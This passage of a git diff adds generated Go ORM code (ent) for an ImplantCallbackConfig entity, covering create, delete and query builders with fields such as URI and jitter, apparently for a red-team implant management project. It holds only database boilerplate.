&sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldJitter, + }) + _node.Jitter = value + } + if nodes := iccc.mutation.ImplantConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantcallbackconfig.ImplantConfigsTable, + Columns: implantcallbackconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges = append(_spec.Edges, edge) + } + return _node, _spec +} + +// ImplantCallbackConfigCreateBulk is the builder for creating many ImplantCallbackConfig entities in bulk. +type ImplantCallbackConfigCreateBulk struct { + config + builders []*ImplantCallbackConfigCreate +} + +// Save creates the ImplantCallbackConfig entities in the database. +func (icccb *ImplantCallbackConfigCreateBulk) Save(ctx context.Context) ([]*ImplantCallbackConfig, error) { + specs := make([]*sqlgraph.CreateSpec, len(icccb.builders)) + nodes := make([]*ImplantCallbackConfig, len(icccb.builders)) + mutators := make([]Mutator, len(icccb.builders)) + for i := range icccb.builders { + func(i int, root context.Context) { + builder := icccb.builders[i] + builder.defaults() + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantCallbackConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err := builder.check(); err != nil { + return nil, err + } + builder.mutation = mutation + nodes[i], specs[i] = builder.createSpec() + var err error + if i < len(mutators)-1 { + _, err = mutators[i+1].Mutate(root, icccb.builders[i+1].mutation) + } else { + spec := &sqlgraph.BatchCreateSpec{Nodes: specs} + // Invoke the actual operation on the latest mutation in the chain. + if err = sqlgraph.BatchCreate(ctx, icccb.driver, spec); err != nil { + if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + } + } + if err != nil { + return nil, err + } + mutation.id = &nodes[i].ID + mutation.done = true + if specs[i].ID.Value != nil { + id := specs[i].ID.Value.(int64) + nodes[i].ID = int(id) + } + return nodes[i], nil + }) + for i := len(builder.hooks) - 1; i >= 0; i-- { + mut = builder.hooks[i](mut) + } + mutators[i] = mut + }(i, ctx) + } + if len(mutators) > 0 { + if _, err := mutators[0].Mutate(ctx, icccb.builders[0].mutation); err != nil { + return nil, err + } + } + return nodes, nil +} + +// SaveX is like Save, but panics if an error occurs. +func (icccb *ImplantCallbackConfigCreateBulk) SaveX(ctx context.Context) []*ImplantCallbackConfig { + v, err := icccb.Save(ctx) + if err != nil { + panic(err) + } + return v +} + +// Exec executes the query. +func (icccb *ImplantCallbackConfigCreateBulk) Exec(ctx context.Context) error { + _, err := icccb.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (icccb *ImplantCallbackConfigCreateBulk) ExecX(ctx context.Context) { + if err := icccb.Exec(ctx); err != nil { + panic(err) + } +} diff --git a/ent/implantcallbackconfig_delete.go b/ent/implantcallbackconfig_delete.go new file mode 100644 index 000000000..2fd018469 --- /dev/null +++ b/ent/implantcallbackconfig_delete.go @@ -0,0 +1,111 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "fmt" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/predicate" +) + +// ImplantCallbackConfigDelete is the builder for deleting a ImplantCallbackConfig entity. +type ImplantCallbackConfigDelete struct { + config + hooks []Hook + mutation *ImplantCallbackConfigMutation +} + +// Where appends a list predicates to the ImplantCallbackConfigDelete builder. +func (iccd *ImplantCallbackConfigDelete) Where(ps ...predicate.ImplantCallbackConfig) *ImplantCallbackConfigDelete { + iccd.mutation.Where(ps...) + return iccd +} + +// Exec executes the deletion query and returns how many vertices were deleted. +func (iccd *ImplantCallbackConfigDelete) Exec(ctx context.Context) (int, error) { + var ( + err error + affected int + ) + if len(iccd.hooks) == 0 { + affected, err = iccd.sqlExec(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantCallbackConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + iccd.mutation = mutation + affected, err = iccd.sqlExec(ctx) + mutation.done = true + return affected, err + }) + for i := len(iccd.hooks) - 1; i >= 0; i-- { + if iccd.hooks[i] == nil { + return 0, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = iccd.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, iccd.mutation); err != nil { + return 0, err + } + } + return affected, err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iccd *ImplantCallbackConfigDelete) ExecX(ctx context.Context) int { + n, err := iccd.Exec(ctx) + if err != nil { + panic(err) + } + return n +} + +func (iccd *ImplantCallbackConfigDelete) sqlExec(ctx context.Context) (int, error) { + _spec := &sqlgraph.DeleteSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantcallbackconfig.Table, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + } + if ps := iccd.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + return sqlgraph.DeleteNodes(ctx, iccd.driver, _spec) +} + +// ImplantCallbackConfigDeleteOne is the builder for deleting a single ImplantCallbackConfig entity. +type ImplantCallbackConfigDeleteOne struct { + iccd *ImplantCallbackConfigDelete +} + +// Exec executes the deletion query. +func (iccdo *ImplantCallbackConfigDeleteOne) Exec(ctx context.Context) error { + n, err := iccdo.iccd.Exec(ctx) + switch { + case err != nil: + return err + case n == 0: + return &NotFoundError{implantcallbackconfig.Label} + default: + return nil + } +} + +// ExecX is like Exec, but panics if an error occurs. +func (iccdo *ImplantCallbackConfigDeleteOne) ExecX(ctx context.Context) { + iccdo.iccd.ExecX(ctx) +} diff --git a/ent/implantcallbackconfig_query.go b/ent/implantcallbackconfig_query.go new file mode 100644 index 000000000..dc00734ed --- /dev/null +++ b/ent/implantcallbackconfig_query.go @@ -0,0 +1,1028 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "database/sql/driver" + "errors" + "fmt" + "math" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/predicate" +) + +// ImplantCallbackConfigQuery is the builder for querying ImplantCallbackConfig entities. +type ImplantCallbackConfigQuery struct { + config + limit *int + offset *int + unique *bool + order []OrderFunc + fields []string + predicates []predicate.ImplantCallbackConfig + // eager-loading edges. + withImplantConfigs *ImplantConfigQuery + // intermediate query (i.e. traversal path). + sql *sql.Selector + path func(context.Context) (*sql.Selector, error) +} + +// Where adds a new predicate for the ImplantCallbackConfigQuery builder. +func (iccq *ImplantCallbackConfigQuery) Where(ps ...predicate.ImplantCallbackConfig) *ImplantCallbackConfigQuery { + iccq.predicates = append(iccq.predicates, ps...) + return iccq +} + +// Limit adds a limit step to the query. +func (iccq *ImplantCallbackConfigQuery) Limit(limit int) *ImplantCallbackConfigQuery { + iccq.limit = &limit + return iccq +} + +// Offset adds an offset step to the query. +func (iccq *ImplantCallbackConfigQuery) Offset(offset int) *ImplantCallbackConfigQuery { + iccq.offset = &offset + return iccq +} + +// Unique configures the query builder to filter duplicate records on query. +// By default, unique is set to true, and can be disabled using this method. +func (iccq *ImplantCallbackConfigQuery) Unique(unique bool) *ImplantCallbackConfigQuery { + iccq.unique = &unique + return iccq +} + +// Order adds an order step to the query. +func (iccq *ImplantCallbackConfigQuery) Order(o ...OrderFunc) *ImplantCallbackConfigQuery { + iccq.order = append(iccq.order, o...) + return iccq +} + +// QueryImplantConfigs chains the current query on the "implantConfigs" edge. +func (iccq *ImplantCallbackConfigQuery) QueryImplantConfigs() *ImplantConfigQuery { + query := &ImplantConfigQuery{config: iccq.config} + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := iccq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := iccq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(implantcallbackconfig.Table, implantcallbackconfig.FieldID, selector), + sqlgraph.To(implantconfig.Table, implantconfig.FieldID), + sqlgraph.Edge(sqlgraph.M2M, true, implantcallbackconfig.ImplantConfigsTable, implantcallbackconfig.ImplantConfigsPrimaryKey...), + ) + fromU = sqlgraph.SetNeighbors(iccq.driver.Dialect(), step) + return fromU, nil + } + return query +} + +// First returns the first ImplantCallbackConfig entity from the query. +// Returns a *NotFoundError when no ImplantCallbackConfig was found. +func (iccq *ImplantCallbackConfigQuery) First(ctx context.Context) (*ImplantCallbackConfig, error) { + nodes, err := iccq.Limit(1).All(ctx) + if err != nil { + return nil, err + } + if len(nodes) == 0 { + return nil, &NotFoundError{implantcallbackconfig.Label} + } + return nodes[0], nil +} + +// FirstX is like First, but panics if an error occurs. +func (iccq *ImplantCallbackConfigQuery) FirstX(ctx context.Context) *ImplantCallbackConfig { + node, err := iccq.First(ctx) + if err != nil && !IsNotFound(err) { + panic(err) + } + return node +} + +// FirstID returns the first ImplantCallbackConfig ID from the query. +// Returns a *NotFoundError when no ImplantCallbackConfig ID was found. +func (iccq *ImplantCallbackConfigQuery) FirstID(ctx context.Context) (id int, err error) { + var ids []int + if ids, err = iccq.Limit(1).IDs(ctx); err != nil { + return + } + if len(ids) == 0 { + err = &NotFoundError{implantcallbackconfig.Label} + return + } + return ids[0], nil +} + +// FirstIDX is like FirstID, but panics if an error occurs. +func (iccq *ImplantCallbackConfigQuery) FirstIDX(ctx context.Context) int { + id, err := iccq.FirstID(ctx) + if err != nil && !IsNotFound(err) { + panic(err) + } + return id +} + +// Only returns a single ImplantCallbackConfig entity found by the query, ensuring it only returns one. +// Returns a *NotSingularError when exactly one ImplantCallbackConfig entity is not found. +// Returns a *NotFoundError when no ImplantCallbackConfig entities are found. +func (iccq *ImplantCallbackConfigQuery) Only(ctx context.Context) (*ImplantCallbackConfig, error) { + nodes, err := iccq.Limit(2).All(ctx) + if err != nil { + return nil, err + } + switch len(nodes) { + case 1: + return nodes[0], nil + case 0: + return nil, &NotFoundError{implantcallbackconfig.Label} + default: + return nil, &NotSingularError{implantcallbackconfig.Label} + } +} + +// OnlyX is like Only, but panics if an error occurs. +func (iccq *ImplantCallbackConfigQuery) OnlyX(ctx context.Context) *ImplantCallbackConfig { + node, err := iccq.Only(ctx) + if err != nil { + panic(err) + } + return node +} + +// OnlyID is like Only, but returns the only ImplantCallbackConfig ID in the query. +// Returns a *NotSingularError when exactly one ImplantCallbackConfig ID is not found. +// Returns a *NotFoundError when no entities are found. +func (iccq *ImplantCallbackConfigQuery) OnlyID(ctx context.Context) (id int, err error) { + var ids []int + if ids, err = iccq.Limit(2).IDs(ctx); err != nil { + return + } + switch len(ids) { + case 1: + id = ids[0] + case 0: + err = &NotFoundError{implantcallbackconfig.Label} + default: + err = &NotSingularError{implantcallbackconfig.Label} + } + return +} + +// OnlyIDX is like OnlyID, but panics if an error occurs. +func (iccq *ImplantCallbackConfigQuery) OnlyIDX(ctx context.Context) int { + id, err := iccq.OnlyID(ctx) + if err != nil { + panic(err) + } + return id +} + +// All executes the query and returns a list of ImplantCallbackConfigs. +func (iccq *ImplantCallbackConfigQuery) All(ctx context.Context) ([]*ImplantCallbackConfig, error) { + if err := iccq.prepareQuery(ctx); err != nil { + return nil, err + } + return iccq.sqlAll(ctx) +} + +// AllX is like All, but panics if an error occurs. +func (iccq *ImplantCallbackConfigQuery) AllX(ctx context.Context) []*ImplantCallbackConfig { + nodes, err := iccq.All(ctx) + if err != nil { + panic(err) + } + return nodes +} + +// IDs executes the query and returns a list of ImplantCallbackConfig IDs. +func (iccq *ImplantCallbackConfigQuery) IDs(ctx context.Context) ([]int, error) { + var ids []int + if err := iccq.Select(implantcallbackconfig.FieldID).Scan(ctx, &ids); err != nil { + return nil, err + } + return ids, nil +} + +// IDsX is like IDs, but panics if an error occurs. +func (iccq *ImplantCallbackConfigQuery) IDsX(ctx context.Context) []int { + ids, err := iccq.IDs(ctx) + if err != nil { + panic(err) + } + return ids +} + +// Count returns the count of the given query. +func (iccq *ImplantCallbackConfigQuery) Count(ctx context.Context) (int, error) { + if err := iccq.prepareQuery(ctx); err != nil { + return 0, err + } + return iccq.sqlCount(ctx) +} + +// CountX is like Count, but panics if an error occurs. +func (iccq *ImplantCallbackConfigQuery) CountX(ctx context.Context) int { + count, err := iccq.Count(ctx) + if err != nil { + panic(err) + } + return count +} + +// Exist returns true if the query has elements in the graph. +func (iccq *ImplantCallbackConfigQuery) Exist(ctx context.Context) (bool, error) { + if err := iccq.prepareQuery(ctx); err != nil { + return false, err + } + return iccq.sqlExist(ctx) +} + +// ExistX is like Exist, but panics if an error occurs. +func (iccq *ImplantCallbackConfigQuery) ExistX(ctx context.Context) bool { + exist, err := iccq.Exist(ctx) + if err != nil { + panic(err) + } + return exist +} + +// Clone returns a duplicate of the ImplantCallbackConfigQuery builder, including all associated steps. It can be +// used to prepare common query builders and use them differently after the clone is made. +func (iccq *ImplantCallbackConfigQuery) Clone() *ImplantCallbackConfigQuery { + if iccq == nil { + return nil + } + return &ImplantCallbackConfigQuery{ + config: iccq.config, + limit: iccq.limit, + offset: iccq.offset, + order: append([]OrderFunc{}, iccq.order...), + predicates: append([]predicate.ImplantCallbackConfig{}, iccq.predicates...), + withImplantConfigs: iccq.withImplantConfigs.Clone(), + // clone intermediate query. + sql: iccq.sql.Clone(), + path: iccq.path, + } +} + +// WithImplantConfigs tells the query-builder to eager-load the nodes that are connected to +// the "implantConfigs" edge. The optional arguments are used to configure the query builder of the edge. +func (iccq *ImplantCallbackConfigQuery) WithImplantConfigs(opts ...func(*ImplantConfigQuery)) *ImplantCallbackConfigQuery { + query := &ImplantConfigQuery{config: iccq.config} + for _, opt := range opts { + opt(query) + } + iccq.withImplantConfigs = query + return iccq +} + +// GroupBy is used to group vertices by one or more fields/columns. +// It is often used with aggregate functions, like: count, max, mean, min, sum. +// +// Example: +// +// var v []struct { +// URI string `json:"uri,omitempty"` +// Count int `json:"count,omitempty"` +// } +// +// client.ImplantCallbackConfig.Query(). +// GroupBy(implantcallbackconfig.FieldURI). +// Aggregate(ent.Count()). +// Scan(ctx, &v) +// +func (iccq *ImplantCallbackConfigQuery) GroupBy(field string, fields ...string) *ImplantCallbackConfigGroupBy { + group := &ImplantCallbackConfigGroupBy{config: iccq.config} + group.fields = append([]string{field}, fields...) + group.path = func(ctx context.Context) (prev *sql.Selector, err error) { + if err := iccq.prepareQuery(ctx); err != nil { + return nil, err + } + return iccq.sqlQuery(ctx), nil + } + return group +} + +// Select allows the selection one or more fields/columns for the given query, +// instead of selecting all fields in the entity. +// +// Example: +// +// var v []struct { +// URI string `json:"uri,omitempty"` +// } +// +// client.ImplantCallbackConfig.Query(). +// Select(implantcallbackconfig.FieldURI). +// Scan(ctx, &v) +// +func (iccq *ImplantCallbackConfigQuery) Select(fields ...string) *ImplantCallbackConfigSelect { + iccq.fields = append(iccq.fields, fields...) + return &ImplantCallbackConfigSelect{ImplantCallbackConfigQuery: iccq} +} + +func (iccq *ImplantCallbackConfigQuery) prepareQuery(ctx context.Context) error { + for _, f := range iccq.fields { + if !implantcallbackconfig.ValidColumn(f) { + return &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} + } + } + if iccq.path != nil { + prev, err := iccq.path(ctx) + if err != nil { + return err + } + iccq.sql = prev + } + return nil +} + +func (iccq *ImplantCallbackConfigQuery) sqlAll(ctx context.Context) ([]*ImplantCallbackConfig, error) { + var ( + nodes = []*ImplantCallbackConfig{} + _spec = iccq.querySpec() + loadedTypes = [1]bool{ + iccq.withImplantConfigs != nil, + } + ) + _spec.ScanValues = func(columns []string) ([]interface{}, error) { + node := &ImplantCallbackConfig{config: iccq.config} + nodes = append(nodes, node) + return node.scanValues(columns) + } + _spec.Assign = func(columns []string, values []interface{}) error { + if len(nodes) == 0 { + return fmt.Errorf("ent: Assign called without calling ScanValues") + } + node := nodes[len(nodes)-1] + node.Edges.loadedTypes = loadedTypes + return node.assignValues(columns, values) + } + if err := sqlgraph.QueryNodes(ctx, iccq.driver, _spec); err != nil { + return nil, err + } + if len(nodes) == 0 { + return nodes, nil + } + + if query := iccq.withImplantConfigs; query != nil { + fks := make([]driver.Value, 0, len(nodes)) + ids := make(map[int]*ImplantCallbackConfig, len(nodes)) + for _, node := range nodes { + ids[node.ID] = node + fks = append(fks, node.ID) + node.Edges.ImplantConfigs = []*ImplantConfig{} + } + var ( + edgeids []int + edges = make(map[int][]*ImplantCallbackConfig) + ) + _spec := &sqlgraph.EdgeQuerySpec{ + Edge: &sqlgraph.EdgeSpec{ + Inverse: true, + Table: implantcallbackconfig.ImplantConfigsTable, + Columns: implantcallbackconfig.ImplantConfigsPrimaryKey, + }, + Predicate: func(s *sql.Selector) { + s.Where(sql.InValues(implantcallbackconfig.ImplantConfigsPrimaryKey[1], fks...)) + }, + ScanValues: func() [2]interface{} { + return [2]interface{}{new(sql.NullInt64), new(sql.NullInt64)} + }, + Assign: func(out, in interface{}) error { + eout, ok := out.(*sql.NullInt64) + if !ok || eout == nil { + return fmt.Errorf("unexpected id value for edge-out") + } + ein, ok := in.(*sql.NullInt64) + if !ok || ein == nil { + return fmt.Errorf("unexpected id value for edge-in") + } + outValue := int(eout.Int64) + inValue := int(ein.Int64) + node, ok := ids[outValue] + if !ok { + return fmt.Errorf("unexpected node id in edges: %v", outValue) + } + if _, ok := edges[inValue]; !ok { + edgeids = append(edgeids, inValue) + } + edges[inValue] = append(edges[inValue], node) + return nil + }, + } + if err := sqlgraph.QueryEdges(ctx, iccq.driver, _spec); err != nil { + return nil, fmt.Errorf(`query edges "implantConfigs": %w`, err) + } + query.Where(implantconfig.IDIn(edgeids...)) + neighbors, err := query.All(ctx) + if err != nil { + return nil, err + } + for _, n := range neighbors { + nodes, ok := edges[n.ID] + if !ok { + return nil, fmt.Errorf(`unexpected "implantConfigs" node returned %v`, n.ID) + } + for i := range nodes { + nodes[i].Edges.ImplantConfigs = append(nodes[i].Edges.ImplantConfigs, n) + } + } + } + + return nodes, nil +} + +func (iccq *ImplantCallbackConfigQuery) sqlCount(ctx context.Context) (int, error) { + _spec := iccq.querySpec() + _spec.Node.Columns = iccq.fields + if len(iccq.fields) > 0 { + _spec.Unique = iccq.unique != nil && *iccq.unique + } + return sqlgraph.CountNodes(ctx, iccq.driver, _spec) +} + +func (iccq *ImplantCallbackConfigQuery) sqlExist(ctx context.Context) (bool, error) { + n, err := iccq.sqlCount(ctx) + if err != nil { + return false, fmt.Errorf("ent: check existence: %w", err) + } + return n > 0, nil +} + +func (iccq *ImplantCallbackConfigQuery) querySpec() *sqlgraph.QuerySpec { + _spec := &sqlgraph.QuerySpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantcallbackconfig.Table, + Columns: implantcallbackconfig.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + From: iccq.sql, + Unique: true, + } + if unique := iccq.unique; unique != nil { + _spec.Unique = *unique + } + if fields := iccq.fields; len(fields) > 0 { + _spec.Node.Columns = make([]string, 0, len(fields)) + _spec.Node.Columns = append(_spec.Node.Columns, implantcallbackconfig.FieldID) + for i := range fields { + if fields[i] != implantcallbackconfig.FieldID { + _spec.Node.Columns = append(_spec.Node.Columns, fields[i]) + } + } + } + if ps := iccq.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if limit := iccq.limit; limit != nil { + _spec.Limit = *limit + } + if offset := iccq.offset; offset != nil { + _spec.Offset = *offset + } + if ps := iccq.order; len(ps) > 0 { + _spec.Order = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + return _spec +} + +func (iccq *ImplantCallbackConfigQuery) sqlQuery(ctx context.Context) *sql.Selector { + builder := sql.Dialect(iccq.driver.Dialect()) + t1 := builder.Table(implantcallbackconfig.Table) + columns := iccq.fields + if len(columns) == 0 { + columns = implantcallbackconfig.Columns + } + selector := builder.Select(t1.Columns(columns...)...).From(t1) + if iccq.sql != nil { + selector = iccq.sql + selector.Select(selector.Columns(columns...)...) + } + if iccq.unique != nil && *iccq.unique { + selector.Distinct() + } + for _, p := range iccq.predicates { + p(selector) + } + for _, p := range iccq.order { + p(selector) + } + if offset := iccq.offset; offset != nil { + // limit is mandatory for offset clause. We start + // with default value, and override it below if needed. + selector.Offset(*offset).Limit(math.MaxInt32) + } + if limit := iccq.limit; limit != nil { + selector.Limit(*limit) + } + return selector +} + +// ImplantCallbackConfigGroupBy is the group-by builder for ImplantCallbackConfig entities. +type ImplantCallbackConfigGroupBy struct { + config + fields []string + fns []AggregateFunc + // intermediate query (i.e. traversal path). + sql *sql.Selector + path func(context.Context) (*sql.Selector, error) +} + +// Aggregate adds the given aggregation functions to the group-by query. +func (iccgb *ImplantCallbackConfigGroupBy) Aggregate(fns ...AggregateFunc) *ImplantCallbackConfigGroupBy { + iccgb.fns = append(iccgb.fns, fns...) + return iccgb +} + +// Scan applies the group-by query and scans the result into the given value. +func (iccgb *ImplantCallbackConfigGroupBy) Scan(ctx context.Context, v interface{}) error { + query, err := iccgb.path(ctx) + if err != nil { + return err + } + iccgb.sql = query + return iccgb.sqlScan(ctx, v) +} + +// ScanX is like Scan, but panics if an error occurs. +func (iccgb *ImplantCallbackConfigGroupBy) ScanX(ctx context.Context, v interface{}) { + if err := iccgb.Scan(ctx, v); err != nil { + panic(err) + } +} + +// Strings returns list of strings from group-by. +// It is only allowed when executing a group-by query with one field. +func (iccgb *ImplantCallbackConfigGroupBy) Strings(ctx context.Context) ([]string, error) { + if len(iccgb.fields) > 1 { + return nil, errors.New("ent: ImplantCallbackConfigGroupBy.Strings is not achievable when grouping more than 1 field") + } + var v []string + if err := iccgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// StringsX is like Strings, but panics if an error occurs. +func (iccgb *ImplantCallbackConfigGroupBy) StringsX(ctx context.Context) []string { + v, err := iccgb.Strings(ctx) + if err != nil { + panic(err) + } + return v +} + +// String returns a single string from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (iccgb *ImplantCallbackConfigGroupBy) String(ctx context.Context) (_ string, err error) { + var v []string + if v, err = iccgb.Strings(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantcallbackconfig.Label} + default: + err = fmt.Errorf("ent: ImplantCallbackConfigGroupBy.Strings returned %d results when one was expected", len(v)) + } + return +} + +// StringX is like String, but panics if an error occurs. +func (iccgb *ImplantCallbackConfigGroupBy) StringX(ctx context.Context) string { + v, err := iccgb.String(ctx) + if err != nil { + panic(err) + } + return v +} + +// Ints returns list of ints from group-by. +// It is only allowed when executing a group-by query with one field. +func (iccgb *ImplantCallbackConfigGroupBy) Ints(ctx context.Context) ([]int, error) { + if len(iccgb.fields) > 1 { + return nil, errors.New("ent: ImplantCallbackConfigGroupBy.Ints is not achievable when grouping more than 1 field") + } + var v []int + if err := iccgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// IntsX is like Ints, but panics if an error occurs. +func (iccgb *ImplantCallbackConfigGroupBy) IntsX(ctx context.Context) []int { + v, err := iccgb.Ints(ctx) + if err != nil { + panic(err) + } + return v +} + +// Int returns a single int from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (iccgb *ImplantCallbackConfigGroupBy) Int(ctx context.Context) (_ int, err error) { + var v []int + if v, err = iccgb.Ints(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantcallbackconfig.Label} + default: + err = fmt.Errorf("ent: ImplantCallbackConfigGroupBy.Ints returned %d results when one was expected", len(v)) + } + return +} + +// IntX is like Int, but panics if an error occurs. +func (iccgb *ImplantCallbackConfigGroupBy) IntX(ctx context.Context) int { + v, err := iccgb.Int(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64s returns list of float64s from group-by. +// It is only allowed when executing a group-by query with one field. +func (iccgb *ImplantCallbackConfigGroupBy) Float64s(ctx context.Context) ([]float64, error) { + if len(iccgb.fields) > 1 { + return nil, errors.New("ent: ImplantCallbackConfigGroupBy.Float64s is not achievable when grouping more than 1 field") + } + var v []float64 + if err := iccgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// Float64sX is like Float64s, but panics if an error occurs. +func (iccgb *ImplantCallbackConfigGroupBy) Float64sX(ctx context.Context) []float64 { + v, err := iccgb.Float64s(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64 returns a single float64 from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (iccgb *ImplantCallbackConfigGroupBy) Float64(ctx context.Context) (_ float64, err error) { + var v []float64 + if v, err = iccgb.Float64s(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantcallbackconfig.Label} + default: + err = fmt.Errorf("ent: ImplantCallbackConfigGroupBy.Float64s returned %d results when one was expected", len(v)) + } + return +} + +// Float64X is like Float64, but panics if an error occurs. +func (iccgb *ImplantCallbackConfigGroupBy) Float64X(ctx context.Context) float64 { + v, err := iccgb.Float64(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bools returns list of bools from group-by. +// It is only allowed when executing a group-by query with one field. +func (iccgb *ImplantCallbackConfigGroupBy) Bools(ctx context.Context) ([]bool, error) { + if len(iccgb.fields) > 1 { + return nil, errors.New("ent: ImplantCallbackConfigGroupBy.Bools is not achievable when grouping more than 1 field") + } + var v []bool + if err := iccgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// BoolsX is like Bools, but panics if an error occurs. +func (iccgb *ImplantCallbackConfigGroupBy) BoolsX(ctx context.Context) []bool { + v, err := iccgb.Bools(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bool returns a single bool from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (iccgb *ImplantCallbackConfigGroupBy) Bool(ctx context.Context) (_ bool, err error) { + var v []bool + if v, err = iccgb.Bools(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantcallbackconfig.Label} + default: + err = fmt.Errorf("ent: ImplantCallbackConfigGroupBy.Bools returned %d results when one was expected", len(v)) + } + return +} + +// BoolX is like Bool, but panics if an error occurs. +func (iccgb *ImplantCallbackConfigGroupBy) BoolX(ctx context.Context) bool { + v, err := iccgb.Bool(ctx) + if err != nil { + panic(err) + } + return v +} + +func (iccgb *ImplantCallbackConfigGroupBy) sqlScan(ctx context.Context, v interface{}) error { + for _, f := range iccgb.fields { + if !implantcallbackconfig.ValidColumn(f) { + return &ValidationError{Name: f, err: fmt.Errorf("invalid field %q for group-by", f)} + } + } + selector := iccgb.sqlQuery() + if err := selector.Err(); err != nil { + return err + } + rows := &sql.Rows{} + query, args := selector.Query() + if err := iccgb.driver.Query(ctx, query, args, rows); err != nil { + return err + } + defer rows.Close() + return sql.ScanSlice(rows, v) +} + +func (iccgb *ImplantCallbackConfigGroupBy) sqlQuery() *sql.Selector { + selector := iccgb.sql.Select() + aggregation := make([]string, 0, len(iccgb.fns)) + for _, fn := range iccgb.fns { + aggregation = append(aggregation, fn(selector)) + } + // If no columns were selected in a custom aggregation function, the default + // selection is the fields used for "group-by", and the aggregation functions. + if len(selector.SelectedColumns()) == 0 { + columns := make([]string, 0, len(iccgb.fields)+len(iccgb.fns)) + for _, f := range iccgb.fields { + columns = append(columns, selector.C(f)) + } + columns = append(columns, aggregation...) + selector.Select(columns...) + } + return selector.GroupBy(selector.Columns(iccgb.fields...)...) +} + +// ImplantCallbackConfigSelect is the builder for selecting fields of ImplantCallbackConfig entities. +type ImplantCallbackConfigSelect struct { + *ImplantCallbackConfigQuery + // intermediate query (i.e. traversal path). + sql *sql.Selector +} + +// Scan applies the selector query and scans the result into the given value. +func (iccs *ImplantCallbackConfigSelect) Scan(ctx context.Context, v interface{}) error { + if err := iccs.prepareQuery(ctx); err != nil { + return err + } + iccs.sql = iccs.ImplantCallbackConfigQuery.sqlQuery(ctx) + return iccs.sqlScan(ctx, v) +} + +// ScanX is like Scan, but panics if an error occurs. +func (iccs *ImplantCallbackConfigSelect) ScanX(ctx context.Context, v interface{}) { + if err := iccs.Scan(ctx, v); err != nil { + panic(err) + } +} + +// Strings returns list of strings from a selector. It is only allowed when selecting one field. +func (iccs *ImplantCallbackConfigSelect) Strings(ctx context.Context) ([]string, error) { + if len(iccs.fields) > 1 { + return nil, errors.New("ent: ImplantCallbackConfigSelect.Strings is not achievable when selecting more than 1 field") + } + var v []string + if err := iccs.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// StringsX is like Strings, but panics if an error occurs. +func (iccs *ImplantCallbackConfigSelect) StringsX(ctx context.Context) []string { + v, err := iccs.Strings(ctx) + if err != nil { + panic(err) + } + return v +} + +// String returns a single string from a selector. It is only allowed when selecting one field. +func (iccs *ImplantCallbackConfigSelect) String(ctx context.Context) (_ string, err error) { + var v []string + if v, err = iccs.Strings(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantcallbackconfig.Label} + default: + err = fmt.Errorf("ent: ImplantCallbackConfigSelect.Strings 